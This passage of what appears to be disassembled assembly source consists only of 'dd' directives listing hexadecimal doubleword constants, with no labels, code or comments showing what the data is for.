		dd 0CF41FF15h, 6F97F523h, 0F9171E8h, 0F152560Dh, 36C4F9B4h
		dd 881092BDh, 8FDE7Ch, 0DA4B7DACh, 58303304h, 2351FE00h
		dd 1F85931Ah, 8BA7183Eh, 227A31B9h, 4BCD6D0Fh, 815F401Bh
		dd 0BD3730h, 8AA95EEBh,	3C771036h, 0C6171A03h, 14FD1FBEh
		dd 0D0733838h, 417B09Ah, 4D2F80DFh, 55F9C1F8h, 79E05048h
		dd 94415141h, 0CA10B3EDh, 0AA00AB92h, 26E94FD3h, 0FCF3D888h
		dd 0CB95027Ah, 8BA0B663h, 8501A044h, 57AAC9A7h,	99F88925h
		dd 0DA400023h, 1CE6DB0Dh, 0D3004C02h, 5FBCF2F5h, 62316DD6h
		dd 0E3069930h, 819D5C61h, 7903B711h, 73D09F21h,	0FD1801DFh
		dd 5CC54AEEh, 0D8E4705Eh, 0DCCA5D0Ch, 36B488C9h, 0D0E1723Fh
		dd 49550C33h, 419C6D0h,	47EE33F4h, 7AC8D869h, 26B3A301h
		dd 0E7E2111Eh, 4C9FDB20h, 1D00C8CDh, 778E8608h,	0F950C4D5h
		dd 40B10B98h, 0EE18B979h
		dd 0A70D981Ch, 35430C5Dh, 0D0E9F499h, 0C06F75AAh, 0C7F8BDA1h
		dd 0B500ED32h, 3565957Eh, 0A6038Ah, 93DEE5EBh, 8EF9310Ch
		dd 908CF40Dh, 16F490C0h, 5629071Eh, 0C011186Bh,	0C853CE81h
		dd 0B126620Ch, 5889A4h,	27742596h, 7FC0A7EAh, 0B70C3D03h
		dd 0F0483B9Bh, 1FAEE8Fh, 9EB7933h, 4D5CEC70h, 0F7E8FCB0h
		dd 553D1E07h, 0E2911971h, 1424B201h, 2E210008h,	0B0A26473h
		dd 923A7D74h, 2109339Fh, 972EF072h, 95B4005Eh, 7A78E503h
		dd 0E8F0B556h, 8B807554h, 80E66F38h, 0D488C0A0h, 5049C8FBh
		dd 529FC4C2h, 32CF03Dh,	0C31E4060h, 5001DF8Ch, 0C079E428h
		dd 0D851FB7Eh, 8801BCFCh, 1A398063h, 4118B7F4h,	39D5E49Ch
		dd 0F580EF6Ah, 7B292EA3h, 68C82178h, 656E8E74h,	89483092h
		dd 883749C6h, 0A1702177h, 70A415E9h, 71FB0022h,	3DB0C27Ch
		dd 0CA58B450h, 85F4483Fh, 0A861F056h, 9463D2B4h, 0A5D56202h
		dd 2CE05D25h, 4A80A745h, 89EA0058h, 4D8C42A3h, 4F038077h
		dd 569DB7Eh, 0B429D0F3h, 0AD510A3Eh, 80F4BFA8h,	445FD276h
		dd 783A3F1Ch, 5CC0A4D5h, 70601844h, 0E81075EEh,	0CFC85ADAh
		dd 0EE789480h, 485689B5h, 0CE80A897h, 0E371D264h, 8104344Dh
		dd 0FB06D807h, 0CA26CC50h, 0C6991221h, 96B420B1h, 2003F54Dh
		dd 29E79FDBh, 9CCFC019h, 5EE038DEh, 22F8E524h, 0F6FF3E18h
		dd 0BBCCF39h, 816AB91Ch, 11B708F7h, 4D1834C8h, 0E0FD1B0Ah
		dd 7692C038h, 0BEC83C43h, 77490068h, 0D3043ABDh, 7B03A055h
		dd 5A8C1814h, 2F29D0C0h, 0A6E009F0h, 6490D2B7h,	30A4217Bh
		dd 3E9E08C4h, 37D24C8h,	0D5F611DFh, 40FCBEFAh, 947BBAA5h
		dd 1268E632h, 3A29383Ah, 0B66C1094h, 0E4B585C1h, 88F7DC80h
		dd 6D2EBE72h, 0F4427811h, 2668E88Eh, 0A0603F7h,	0D449DF7Ch
		dd 69C15BB8h, 0E36A7114h, 91316081h, 0C38867h, 8D8F1D74h
		dd 53D26D89h, 5CE951C4h, 1C7BF0C0h, 0D1112E1Dh,	0BF630362h
		dd 99036239h, 3113196Eh, 8E7DA1ACh, 7E2EADE0h, 203D01F0h
		dd 27283391h, 1D6C7203h, 207A85h, 81F00EA0h, 2DBFEA5h
		dd 0A7F62700h, 0F4520624h, 0C4B741E2h, 0B1C4BC11h, 4A4F155h
		dd 0B0DA0465h, 90A9646Fh, 12EAAAC4h, 801C9858h,	7D09B5A7h
		dd 0EB0C00FEh, 0CE741E2Eh, 4000CC7Ch, 0DEE6E0F6h, 14B13AE8h
		dd 0C8188EDCh, 3D8C61BCh, 36928DF2h, 1B00536Ah,	18C1210Ah
		dd 66CCC0D0h, 227EA503h, 461C44Ch, 21C8EA29h, 0D89086CDh
		dd 9D9EF710h, 53282200h, 23E76D8Dh, 62455B00h, 0E0647ABFh
		dd 56820541h, 1830D40Ch, 772158AAh, 0EFC36E18h,	3177AB8h
		dd 5A73238Fh, 21C0BE8Bh, 0E11E381Dh, 7B01C619h,	835899FAh
		dd 3BC24880h, 71661774h, 15632905h, 1820168Ah, 63209F5h
		dd 8126A601h, 400FC1B9h, 85E06687h, 18C0BCD6h, 7D403DAh
		dd 0C247CAE8h, 4FD9116Fh, 3060DA44h, 0E3032FE6h, 0E81899D0h
		dd 0A5CB07Fh, 24D7779Eh, 314CC32Bh, 104FDBB9h, 286C77F6h
		dd 449C254Bh, 0E605026Eh, 0FD5DFFCCh, 0E31DD440h, 24EE5C90h
		dd 11306D77h, 5F49000Ch, 0C9309728h, 0F07A0C0Dh, 0BF491975h
		dd 32A75102h, 0C09778EBh, 0A7F6B88h, 0B4847112h, 13BC80E0h
		dd 0A3A9EB5Fh, 0AFF57C00h, 5EDA87B9h, 0E6F610h,	0A8690607h
		dd 6D9F8E08h, 3544DB00h, 6A37BC70h, 2080B878h, 500A745h
		dd 8288946Eh, 0BCDCAFh,	0B239317Bh, 1A249C5Ch, 77BA2E00h
		dd 4E4D5F7Dh, 6866003Bh, 0A1E9FB70h, 0A805D055h, 72FE952Dh
		dd 50A46D84h, 8B4698F4h, 634ED084h, 395D00A9h, 90963C04h
		dd 6F01EEB1h, 91B9B8F9h, 80E0F079h, 0A1070267h,	61D39E45h
		dd 0C0009CC5h, 0B885CA10h, 0ABD40CB1h, 0F1807397h, 691E8F76h
		dd 885D08C8h, 0AD3FE001h, 3C30D56Ah, 0D02C0020h, 0D42A9E39h
		dd 2901D66Eh, 0FA6F0962h, 0E3E06B75h, 70200065h, 21351077h
		dd 0C37D3C6h, 0E51079F0h, 0AC5F58h, 0A5A33DE7h,	2FA4BC7Ah
		dd 1A33D200h, 1E08F14Bh, 0CA4E0063h, 31205006h,	0D201F7FDh
		dd 0B9F8FAECh, 7BF14FC4h, 0D31D9440h, 1C3A01A0h, 37835638h
		dd 8A7FE0D2h, 0E967F41Dh, 61A560CCh, 61410046h,	11CC4F3Ah
		dd 0F960D19Ah, 0A424A018h, 0ABC10323h, 9520302Ch, 0F51A5AA8h
		dd 0A0D4A818h, 0F476B940h, 4A91FC6Fh, 1D48E86Eh, 0BC4335DEh
		dd 0E9A99FEh, 4ACF3E29h, 0E24194A0h, 44006555h,	0F593BCE0h
		dd 28AF8BAh, 0FD049521h, 3E0ACAAh, 281EB127h, 4B803E6Dh
		dd 1DAB89C4h, 71F30053h, 81FC78DFh, 8400585Dh, 3F0B1C33h
		dd 88A2A7h, 0FEBF6F20h,	78250D38h, 42E1D714h, 320E018Ch
		dd 3C6D8F10h, 12A4E08Ah, 383500F7h, 9802F26Ah, 7E56700h
		dd 1DCF8733h, 23C200B7h, 0D79AFF6Ch, 0B100303Eh, 342BE3A0h
		dd 1EA78266h, 0C33F98ADh, 0CC9D53A4h, 0F6058EF8h, 11330400h
		dd 2EF71332h, 2D6300FFh, 0B35E76A3h, 74003FE6h,	8C6FA621h
		dd 19865DDh, 66EDD091h,	0C175EA83h, 0D6C7DC63h,	614C0100h
		dd 0F7569703h, 587A7804h, 4F3E8060h, 78113200h,	0D7D0D818h
		dd 25ED6E0Ch, 37A1831h,	0C8F997CFh, 40F0FBEFh, 0B0F86E21h
		dd 0E8174F0Ch, 79A41A5h, 505C7A6Fh, 0E304A1F0h,	0F2088CE4h
		dd 7C2049h, 0FD4A7827h,	1C684C9Dh, 0C89CC00h, 0C0EC6AC1h
		dd 443C3A58h, 6B47E28Ch, 0B8317478h, 6D65A830h,	0A0C00FE5h
		dd 0C2801CC6h, 0CD9D87D9h, 8ACB202Bh, 5D0C6861h, 71D5D7F8h
		dd 63270124h, 2C068FDCh, 0C84AEC85h, 708C6400h,	0F2BF47A3h
		dd 0BCF900CAh, 932650ADh, 618ABB88h, 0F6E9DEF2h, 1D4D86F8h
		dd 1887F5EAh, 2FAA21FDh, 28DBE558h, 0E300385Eh,	0A11F1475h
		dd 80E7E2h, 570EB210h, 0D6517D3Ch, 1CF7831Eh, 0C2BC07C0h
		dd 3F34F16Ch, 0FC80F568h, 0BEB6E2E7h, 8F61B56Fh, 63744151h
		dd 404C8442h, 0E6D8659h, 892AA54h, 2DD68A60h, 2C002706h
		dd 83D8464Bh, 28EF690Bh, 3BD0200Ah, 3A7EAC7Ah, 0AA86B743h
		dd 8ADCE91h, 0F00B084h,	46C441FEh, 7D112A18h, 70316789h
		dd 350500E0h, 0B900D115h, 405B2FCFh, 1682B69h, 81604B4Dh
		dd 84447ADDh, 62F64978h, 0E81E2087h, 161FD9h, 0C8E308F9h
		dd 3560EAA7h, 15BF3258h, 74704Bh, 0D3C31B0Fh, 0BA51D7E4h
		dd 38079602h, 42163B67h, 4035625Ch, 0A7B9410Eh,	2760820h
		dd 20ED49CEh, 0CAF03D74h, 0AB52070Dh, 0F7D1F2EEh, 0BA14D0C9h
		dd 16001791h, 1AC78A08h, 4ED8C66h, 0B9F0C0C6h, 886C8E3Eh
		dd 403FC080h, 6B092B2Eh, 2194D0Bh, 855A9267h, 9CC63EFCh
		dd 0D76118C0h, 0B16339D2h, 554DC600h, 0CFAC7805h, 0B0A400D4h
		dd 50EDD337h, 9097EB4h,	18894127h, 2DF0B4Ch, 5F5DF618h
		dd 0C324EB25h, 0E5F1AC40h, 6D0327CCh, 0DAB68F69h, 0C33EA01Ch
		dd 0CD3490Ah, 0BB11D600h, 4F5EFAB5h, 0FCF84700h, 0C30B2458h
		dd 0D3ED0033h, 0ECB09D38h, 0E8E43089h, 25E12E09h, 871C2544h
		dd 0FD4E981Dh, 0E4031260h, 0D53EB442h, 66E75400h, 0F5CF9E1h
		dd 0F2166CEAh, 89B0E8CAh, 2F82BA7Bh, 0F8403FB0h, 5E145C4Ch
		dd 0BCBCB1AFh, 0CE008CC9h, 7FD6DD2Eh, 52F301Ah,	0D0756668h
		dd 0FCB84033h, 3CB6E115h, 6795DB00h, 1F276085h,	0A14E0324h
		dd 0E64336D2h, 90A8E17Ah, 5600989Fh, 79B21554h,	46BA0BCh
		dd 5976264Ch, 9D98C8CEh, 2716C302h, 90BA7797h, 13DE5DD0h
		dd 624DE95Ah, 402FD71Ch, 7690E5F3h, 8B080278h, 0FFFA1614h
		dd 43A59084h, 0F089621Ch, 14A364h, 61D7D25Ah, 7E3D1005h
		dd 0FC63B806h, 3FE104D1h
		dd 17804552h, 6A857CF9h, 8474A7BFh, 0F2218EFFh,	0B4F46092h
		dd 1364A882h, 443625E2h, 0D06274ECh, 3EAA1330h,	8FE7A400h
		dd 512F1A7Dh, 0A9000BEh, 6F89E669h, 50C25A86h, 0A0ED6232h
		dd 0FBBA3A94h, 0C12C0034h, 96713187h, 0FA70B04Dh, 18D8E309h
		dd 8F141AF2h, 609EA8ACh, 50137818h, 91A4A821h, 0FC2300BFh
		dd 3C6E2878h, 86B53E97h, 7433BD81h, 0D8875EBBh,	544210Eh
		dd 0C4BA0060h, 3FFE30DEh, 19C608F2h, 0F0710EEDh, 58FA1464h
		dd 36B8A062h, 0EDA9158Ch, 0EC052449h, 4F1FD66h,	0C46B0FD8h
		dd 26D40085h, 3AA897A7h, 4B665500h, 4A83DBD4h, 0E633EC20h
		dd 0EA35001Bh, 0E6493B17h, 0D7069DA8h, 149FB12Bh, 56EF0C40h
		dd 0F958F4EBh, 0C33A7E00h, 5C9B7283h, 69F139CBh, 0FC89F04Dh
		dd 49B60F87h, 4E9AF0B0h, 0E101E498h, 0AEAC4B08h, 80E4E2D2h
		dd 0F67F0052h, 13056FA4h, 23526906h, 41C60128h,	0A40CB697h
		dd 0FC92660Ch, 4B3AE300h, 6D773FCAh, 0E0F5079Dh, 34BEBD44h
		dd 83FC5D31h, 3341E278h, 6C5900EAh, 90D5A581h, 0E607281Eh
		dd 13AA2657h, 8C90CA44h, 0C7F437h, 1FBD8D6Ch, 8AAF4167h
		dd 0B1C9CD00h, 0EBA86EF6h, 65A10609h, 70EABF68h, 74D7372Eh
		dd 0C6C41826h, 4A2B841Eh, 61E897E0h, 603079A1h,	0C60EEF4Ch
		dd 721608h, 0EEF0139Dh,	905CB325h, 29181485h, 19B1B120h
		dd 0F0183619h, 31FCE06Dh, 0D0362252h, 4338243Eh, 2CE7CD3Dh
		dd 56844C04h, 2B01E445h, 8665B469h, 0AAE7E988h,	55900751h
		dd 40F002C3h, 789ACE2h,	0C928A390h, 0CA018C20h,	8D3269DDh
		dd 0D4514155h, 0EECD6DB2h, 0A2852082h, 0FCEAE269h, 0BEF40848h
		dd 203DA930h, 416DA59Dh, 0B8946055h, 0DE12048Ch, 6225F601h
		dd 0F0AB20C3h, 0F21D9EE5h, 56DF6D18h, 0CFBE2547h, 2DC27A70h
		dd 9D2CA0DCh, 0C04575C5h, 3941F510h, 1A009E72h,	0F14D1787h
		dd 76BAE1B1h, 1B7E0052h, 919BF01Dh, 97E494EAh, 1066500h
		dd 1A80FFF5h, 1FE422h, 96732B92h, 56A2C9E4h, 5ADD8E00h
		dd 2411BACBh, 0F6490ACh, 0B15D63B7h, 4725EA83h,	41E062C3h
		dd 0C41629B0h, 0B807ECF9h, 320C60Ah, 36841Bh, 74861997h
		dd 23FEDACAh, 0E21721F2h, 0A5004CF3h, 6D3F1624h, 94D500D4h
		dd 0C347B944h, 0D4E38470h, 0E21C5080h, 1D00E53Ah, 0F765BFACh
		dd 57A7068Ah, 1873EBBCh, 80568C38h, 0A3E8276Ch,	48B91C53h
		dd 0D91FCC9Ah, 4D1E0002h, 3BA22BADh, 8F03D0F0h,	17BF2AA7h
		dd 6FE7809Fh, 7349016Bh, 5191D1D8h, 6C80EB8Eh, 7007D3C7h
		dd 0CDED1C50h, 42E88C30h, 0C5B45056h, 4CAD48E6h, 0A034B503h
		dd 0DAC14603h, 63D0F0A3h, 0A5DE211Fh, 0F8F957DEh, 6ACD7600h
		dd 0F85B69ECh, 9F28C0C2h, 6B62095Ch, 3EF01C70h,	0CDFA63Eh
		dd 0D803AAACh, 44CE1E8h, 2DD203EEh, 74D86589h, 3987D808h
		dd 401B1D8Fh, 0C8185845h, 0E63AE779h, 0F74200DEh, 1DBE8E23h
		dd 0C16A1DB9h, 0EE02C3E4h, 8D90739Ah, 0B300A98Fh, 0DFA3F24Dh
		dd 2F3E31Ch, 0E05FC485h, 28815B23h, 0B8DA685Eh,	0E1C05019h
		dd 30027F88h, 0F4A9DEE2h, 60AC47EAh, 54E62B01h,	0CD1BD363h
		dd 0CCA0A888h, 0B0F3D000h, 0A0E05E75h, 29A490h,	988F2C0Ch
		dd 63E615A9h, 7E79FE61h, 7C4C8CD9h, 87F5481h, 0AC3CA0FCh
		dd 316A48BCh, 8450C63Eh, 9A0C84FEh, 40CB6803h, 14237BC1h
		dd 48102E5Bh, 5FC35108h, 309AD270h, 5348D5CAh, 3B602386h
		dd 0DB2FA239h, 0F6F0E403h, 0E3E60365h, 0C551F819h, 0C30684Ch
		dd 313A4657h, 0AF4200ADh, 92E5E68Eh, 0FF624D1Ah, 807193A1h
		dd 0FCA5411Ch, 0E6EA1A1Bh, 940042ABh, 14256923h, 9B117760h
		dd 1B86801h, 0D64E473Fh, 468FB9D4h, 0D9149084h,	0EF4E2A1h
		dd 5D1ED81Ah, 18940CFh,	615F1BC1h, 0AD7A0840h, 4FD63978h
		dd 55BB5B01h, 44642567h, 7DDC0434h, 78E6001Ch, 0DEA9087h
		dd 2C8380A7h, 8478BAD9h, 0A2615E5Dh, 0F57D9C90h, 2C4A18B8h
		dd 0BA2520BCh, 966AA1C0h, 4840418Eh, 0D01DBCC9h, 84815452h
		dd 0C7F5130Eh, 0C4044B80h, 0F7005EE6h, 5C1ED585h, 326A596Fh
		dd 0BD602FD8h, 660D40BEh, 686C2C41h, 80FF400Ch,	49302989h
		dd 0B7DD19CEh, 0F4020FCDh, 392688Ch, 0A0D4D964h, 54AA212Ah
		dd 0CD50EA70h, 5031D49Ah, 67B6208Eh, 0E3B0D0BFh, 0BE55AC41h
		dd 0C198E679h, 619C5B3Fh, 9A63F4B0h, 103466F1h,	0C1C507Ah
		dd 6D682206h, 0ED8E0CF5h, 42D301FEh, 0A33F001Ah, 4CE2F0B1h
		dd 390F30FFh, 0DB89ED9Fh, 686C8820h, 0F4031597h, 0DD8DD7Ch
		dd 6A08182Bh, 0D0192095h, 0E1049403h, 0EE9B79F9h, 0BC3A0039h
		dd 493EAC51h, 0DA0C8E1Bh, 802A2E63h, 813C12D0h,	600C09E8h
		dd 3E206CACh, 13B86B69h, 0AB2ED800h, 0C21BF8EDh, 9163A010h
		dd 0CA6287E0h, 9A3AE375h, 219330C8h, 9E2ADBh, 0DE14D29Ch
		dd 5B67A94Dh, 8D1C6400h, 69D31D6Ch, 0A2C42627h,	0DDA301F8h
		dd 33D4477h, 5231C1C7h,	1584BF0h, 84A98E73h, 203CCEE3h
		dd 0EA0041C4h, 0AD6C132Bh, 0CD2738h, 3B820146h,	9D9A6431h
		dd 84801C00h, 2B04A095h, 532D00F3h, 45D1B28Ah, 0BE00E7A6h
		dd 0FF9F8D5Eh, 0F68E4Dh, 31D2187Ch, 0DF75E3AFh,	1A53B600h
		dd 696380C3h, 6F7D3C55h, 16C85700h, 855D8AF1h, 24E80D0Fh
		dd 43348066h, 9B18ABh, 0FD9E54CDh, 2A901E35h, 0A5F7CE00h
		dd 0ECFBB681h, 55740385h, 0D22EEAC0h, 1CBD6900h, 0EB83231Fh
		dd 611300E3h, 415DC740h, 0C201B145h, 0BD1CCABAh, 5CD49408h
		dd 51F500F6h, 72344880h, 15307B90h, 0F9DA38EDh,	0C9E8F8h
		dd 8D58E595h, 4971B6DCh, 2A2C8198h, 750C4C19h, 37466041h
		dd 9098E906h, 0DC28938Dh, 71D50F0Eh, 0C837C1F5h, 0C0805033h
		dd 0B8C98366h, 3C2E0D44h, 0B60184A0h, 0B7BBEFF6h, 18FC5FD0h
		dd 0D0721CB3h, 0F2E7154h, 0DB009D99h, 0E108EC21h, 9D3C1DFEh
		dd 0E2A840DCh, 0B141C1A6h, 9A0D7A03h, 0B0A09CECh, 2B19A573h
		dd 71047436h, 449A14Dh,	0E17B78E3h, 4A001009h, 7210629Ah
		dd 0E5009B7Dh, 5F0BA248h, 27E8A319h, 5239A466h,	67891E08h
		dd 3E132E63h, 0F8D02054h, 0C3B00F37h, 266EA250h, 0C6D10A6Ch
		dd 50947241h, 85141848h, 34414C7Bh, 280C79A0h, 6C1C74FAh
		dd 231071DFh, 505D8D2Bh, 54BEA021h, 251A760h, 7B041808h
		dd 490CC0F8h, 81258BA2h, 0DAC9CCD3h, 1CA6A609h,	6E242703h
		dd 0A2204D70h, 30CA508h, 4C2A141Fh, 0F380CD64h,	58508A77h
		dd 0EE60238Bh, 5AF3693Ah, 90F10A51h, 705DABh, 3AD7E858h
		dd 74E654F2h, 3B9B0F14h, 40BB9FCh, 0FDF207EBh, 0FC17576h
		dd 198072EBh, 0E52B1896h, 55075EA1h, 27F8311Ah,	8343C0F2h
		dd 0A8FBF220h, 3490BF63h, 0BE194EDFh, 38B8310Ch, 858DF74h
		dd 6877EEDh, 48BCBFA4h,	0DEFF0010h, 70305DBAh, 717445BDh
		dd 61EBC530h, 24C29F01h, 80988D36h, 8127BA03h, 500C7453h
		dd 69C9AF4Ch, 0F2DE30CBh, 0D1C12E49h, 1103EBF0h, 0D444DDF3h
		dd 0B947AF7Bh, 2176540h, 0A73A0786h, 2375485Dh,	0F903C627h
		dd 8DA2B1B4h, 930FA19Dh, 0A1F41081h, 212456EDh,	0DA489B5Bh
		dd 31980009h, 0B25ECFB8h, 0C800157Ch, 2A1852C6h, 0E598C2h
		dd 0DF09399Eh, 555D865Fh, 92777C00h, 975ACD82h,	0A0D9C01Bh
		dd 0F5DCF4A1h, 0A2778CA8h, 0E88F5C30h, 75A8FC62h, 0FD2E0929h
		dd 0E4208CDFh, 8E220C39h, 219B5E0Fh, 0E85A0104h, 10EFFBFAh
		dd 2272F28h, 0F6F96087h, 0F3C0A076h, 7B288Ch, 0C9B5D688h
		dd 72DF5B3Ah, 96274700h
		dd 0FC98E581h, 1D78A3F6h, 3320E1h, 0CEECF586h, 3A7F808Bh
		dd 5D00D7EEh, 0D9AF6503h, 7505C4F7h, 218C6FDCh,	3B28ECAh
		dd 5B272BDEh, 0A8CFA028h, 4658AC80h, 51C7ED12h,	2CDEF800h
		dd 35D198h, 8896D99Dh, 0DC7F4E5Dh, 57A35220h, 0B040A848h
		dd 0EB841EF8h, 98B1702h, 14A2FA50h, 882071EDh, 0E42DE993h
		dd 0B8195769h, 0C4FA3D08h, 0E840DA44h, 2E751218h, 0F0631A0Fh
		dd 9640FC38h, 74FDEAE3h, 0E46F0017h, 127BDF46h,	0D4374E0Fh
		dd 0A64079CBh, 9081954Bh, 0CDFD017Ch, 0C8C09A1Dh, 0CA7BF047h
		dd 6FBFC20Fh, 23061FA3h, 1ED87009h, 0C059DA45h,	2A66417Fh
		dd 52703DB6h, 5072FE24h, 670203Eh, 6C10718Dh, 4304C863h
		dd 0AAB0DC7Ch, 0F25DC4D1h, 8CB853h, 0F5A7FA91h,	93F17FAAh
		dd 0D800A4AAh, 15CA877Ch, 964871E8h, 0E0F9A144h, 41E58C40h
		dd 0A48C41F8h, 0F01C0C81h, 980EB752h, 27366020h, 24B3F6FDh
		dd 0C730A42Eh, 9259EC11h, 0A32688A0h, 4C84D2E7h, 9BDC04F4h
		dd 181C059h, 1DAD627h, 207CE37Fh, 4B032EF0h, 0A45EA719h
		dd 0E0F5B141h, 4A4010F3h, 0BCA500A0h, 98B93B49h, 0B15863DAh
		dd 692259F3h, 14A50554h, 8831E848h, 750FB860h, 155ED686h
		dd 0DE270358h, 0AA988D49h, 9948909Ah, 26B528BAh, 79CE00F0h
		dd 0BF740219h, 38003345h, 0C8AF54B8h, 0A71A26h,	998DA563h
		dd 837ED689h, 0D401B890h, 46EB79D9h, 77F18AE4h,	80019450h
		dd 25411ABAh, 348571C9h, 9AB0042Fh, 0A4922327h,	88B09708h
		dd 547EA29Eh, 0F868B077h, 0FAFE95h, 0C445CE21h,	0C8EA2C0Ch
		dd 4AA63401h, 0A4FFE24Bh, 88EC0C20h, 7D78B965h,	268C2252h
		dd 2E0290DFh, 0BC4FE8Dh, 8864E601h, 0BE1C615Fh,	0FA160339h
		dd 0C0A79027h, 0CF0551CEh, 0ACA09A78h, 0DF82E659h, 0C8C1856Ah
		dd 0B4ADBC00h, 78050CA5h, 0ACCF3F86h, 0B728CDCCh, 743D28D0h
		dd 2430EFC8h, 1388095Bh, 37F51DFh, 0A2915E1Fh, 0BDFC9026h
		dd 69550342h, 0DE985F25h, 151A8180h, 80ED9F0Fh,	7ADB4368h
		dd 0D632D859h, 273A00D0h, 9C2484BEh, 0B10012FBh, 4D95C14Eh
		dd 93C02C4h, 5FAAA336h,	3D428081h, 0E8FF40A7h, 81008B58h
		dd 0BBEE7C3Ah, 1FA343C2h, 8A5E21D0h, 814A542h, 10BA8CFCh
		dd 4C08C3DDh, 86085147h, 0DE10B8C0h, 0CBA211F8h, 51278818h
		dd 513B5CD3h, 0DDE41874h, 89D1D029h, 9522C624h,	79A826A5h
		dd 6C6C6930h, 1C72A298h, 6BD19Dh, 644D83E3h, 6CB027D4h
		dd 29003790h, 0BA63B177h, 0FE52142h, 0BBFE8E07h, 47A72D20h
		dd 67007CDCh, 0F08C9D8Bh, 0F4B6B0E4h, 388F00CCh, 0B417E048h
		dd 0FF00D8B2h, 15F991AAh, 0CE34D6h, 218832DEh, 0C607E436h
		dd 1E54B600h, 0DCFAD172h, 43C0067h, 16890831h, 880F1958h
		dd 0F7C7FB7h, 7A6CE039h, 7535AA1Bh, 0BCE01C78h,	0DA7F43A9h
		dd 68EBA334h, 91A0F8EBh, 54010A47h, 38FBEE92h, 0B1CFCD20h
		dd 0C9EC63D9h, 9B3C006Fh, 9ABE5D7h, 43008293h, 0C7A5BEF7h
		dd 70783Ah, 9BF23992h, 882FDACFh, 6BBB261Dh, 29EE4D80h
		dd 0F2D47104h, 0BF640EC0h, 32825Eh, 0C1D1C6B8h,	5203DBBAh
		dd 1C9E3A22h, 6CE9E079h, 0A706502Bh, 1D5733Dh, 0B26EC7FDh
		dd 50B0CF68h, 9B0B0AB4h, 0DEA88D00h, 99E4EC7Fh,	0B0E5504Dh
		dd 0DA5000E0h, 0E9D29515h, 0D07610B6h, 56B1D700h, 1EAFBF4Ch
		dd 9F2FE7Ch, 85A7E78Ch,	48403080h, 0DC07B960h, 9B52FDD4h
		dd 0E0896190h, 0C711CFDFh, 9F8C1760h, 60F05314h, 0E63A207Fh
		dd 933A0174h, 8C33872Eh, 1F7BE824h, 40A2A79Dh, 7FF88C9h
		dd 351D6EE7h, 1BC0FDF2h, 0B4AB24F1h, 0C56D0227h, 9EC72BA7h
		dd 15797140h, 0BD0B5100h, 3AB36980h, 981100A8h,	1E729712h
		dd 0FA00C8B4h, 2895C0FCh, 1E91466h, 87335A55h, 80A20BB2h
		dd 4A32FA80h, 7BF43F8h,	545B5569h, 0C06E95D0h, 815C5C4h
		dd 7AD54C00h, 5CCCF3A6h, 92F6DFh, 3E1C899Fh, 1945A064h
		dd 0BFDCFB00h, 91A88107h, 3FCA009Eh, 3820F6CDh,	0C006E35h
		dd 7BF110EBh, 6D7DD1h, 7E7C501Ah, 0F8F44764h, 1C56923Dh
		dd 6C87D99Fh, 0F9FAAFEh, 8FCE4FA2h, 8F871CFBh, 1BD1B84Ch
		dd 18802605h, 0E206AF4Ah, 5E017F38h, 86DD57CFh,	9DFCFD64h
		dd 4D600050h, 0C2EEB4A6h, 0E10007BDh, 4C641E7Dh, 2715FE6h
		dd 0B87BD9F4h, 0C880DD89h, 0D3A179F7h, 4DC23Eh,	0BEE530C9h
		dd 7B9AA98h, 5585D19Bh,	71D8904Ch, 0E7B0E3B5h, 153DC07Ah
		dd 4DBA0128h, 0DB0FDF6Dh, 48F8EFD0h, 0DE0E56B6h, 10A0CC1Eh
		dd 53D5F916h, 0BCD9090Bh, 46F98037h, 1DC27D13h,	27A2E6h
		dd 4057B4D4h, 8F028E79h, 0D5551B6Ch, 8228C032h,	0ADC307CDh
		dd 50E034B0h, 0FD31B19Eh, 80283F00h, 7CD76225h,	61A0038h
		dd 0BA33F3B3h, 8D00501Dh, 0DFA05BC0h, 0F5178B8h, 1E7F31ABh
		dd 5EDC51Fh, 0DC1892F9h, 89028846h, 8286C449h, 0B2E080D8h
		dd 53BA71h, 7F7B5F3Dh, 0B6880A20h, 440095E2h, 0B58DF510h
		dd 5F4E47h, 803124E1h, 0EEDD7C04h, 0E5AD3000h, 0AFD0BDA8h
		dd 38070055h, 84860B88h, 730094F5h, 0A5BC9E21h,	0B9BB5Ch
		dd 33F66A54h, 0CD6B64E8h, 9743C90Eh, 0B02C2034h, 3ED93BB2h
		dd 0B10039DBh, 7518BE9Ch, 2B00D808h, 65C8928Dh,	3D59429Bh
		dd 2E801A60h, 9E3F19EBh, 67004EEAh, 0D6B2BBCBh,	0BD56CB3h
		dd 9B88B661h, 609EC427h, 0AB402297h, 39826A00h,	87DB6EFBh
		dd 20351F5Ah, 7F6C004Fh, 542413CBh, 80218A3Eh, 6320144h
		dd 0EA9BE335h, 889600A1h, 83610C2Ah, 0E400DFB3h, 1497A848h
		dd 765F3D8h, 0C53C38C8h, 0FCEF001Ah, 9200B560h,	0E910ECADh
		dd 5B837Ah, 0A4AB0DC3h,	0D9CE64ACh, 0C6F591Dh, 350B98EAh
		dd 0EC18DCh, 74B1EB0Ch,	8530007Eh, 4006F487h, 0AB00B80Bh
		dd 14606322h, 11B35h, 6973F009h, 4A7A0634h, 307D47Fh, 0C0BE3C2h
		dd 83DB474Fh, 0F1F2F350h, 1A710FD6h, 0A000FB3Ch, 5E749BE2h
		dd 99CF0D03h, 0C0C125E0h, 0FBA8E4Dh, 711B6909h,	0EF83138Fh
		dd 0C9E08985h, 21005123h, 3D49F53h, 16046Bh, 74DA73E9h
		dd 1C8C29B9h, 10F7F200h, 9564B14h, 39C3002Ch, 9093132Fh
		dd 5098AFA5h, 0DD38B71Dh, 0CD4C5280h, 0EA71A2h,	0AE2BFDA0h
		dd 447842BFh, 48B4CF00h, 410D1AE3h, 9DB10313h, 3120909Ch
		dd 0ACD3E8A0h, 34123B7Bh, 640EDDBFh, 0F61EC08Bh, 489B941h
		dd 0CD1F0590h, 55C0C02Fh, 0E400528Fh, 0E785FB91h, 0D37C3Eh
		dd 94386381h, 1F02C66h,	0C2008798h, 73EEAFB9h, 9DB6D35h
		dd 80763B96h, 729FA4C8h, 0FC994916h, 3C22A207h,	0CA80C049h
		dd 0F8294D92h, 0F5DF4200h, 16903351h, 3272ED00h, 7C22C698h
		dd 92D00CFh, 0CCF0D5B1h, 66B06AA8h, 0E65C4Ch, 4A785FF8h
		dd 7DC9241h, 0B8556C45h, 0B63A1097h, 70000430h,	96F38C16h
		dd 0EDA463h, 0F27B03E0h, 4F7CDF6Bh, 0EA824E07h,	43E1FF61h
		dd 7DE0E674h, 79E5009Eh, 0BA2C3007h, 0E0FDAA2h,	0EEF44246h
		dd 7F45617Eh, 1C34B6D7h, 3120383h, 0FDBBCEAFh, 53B6990h
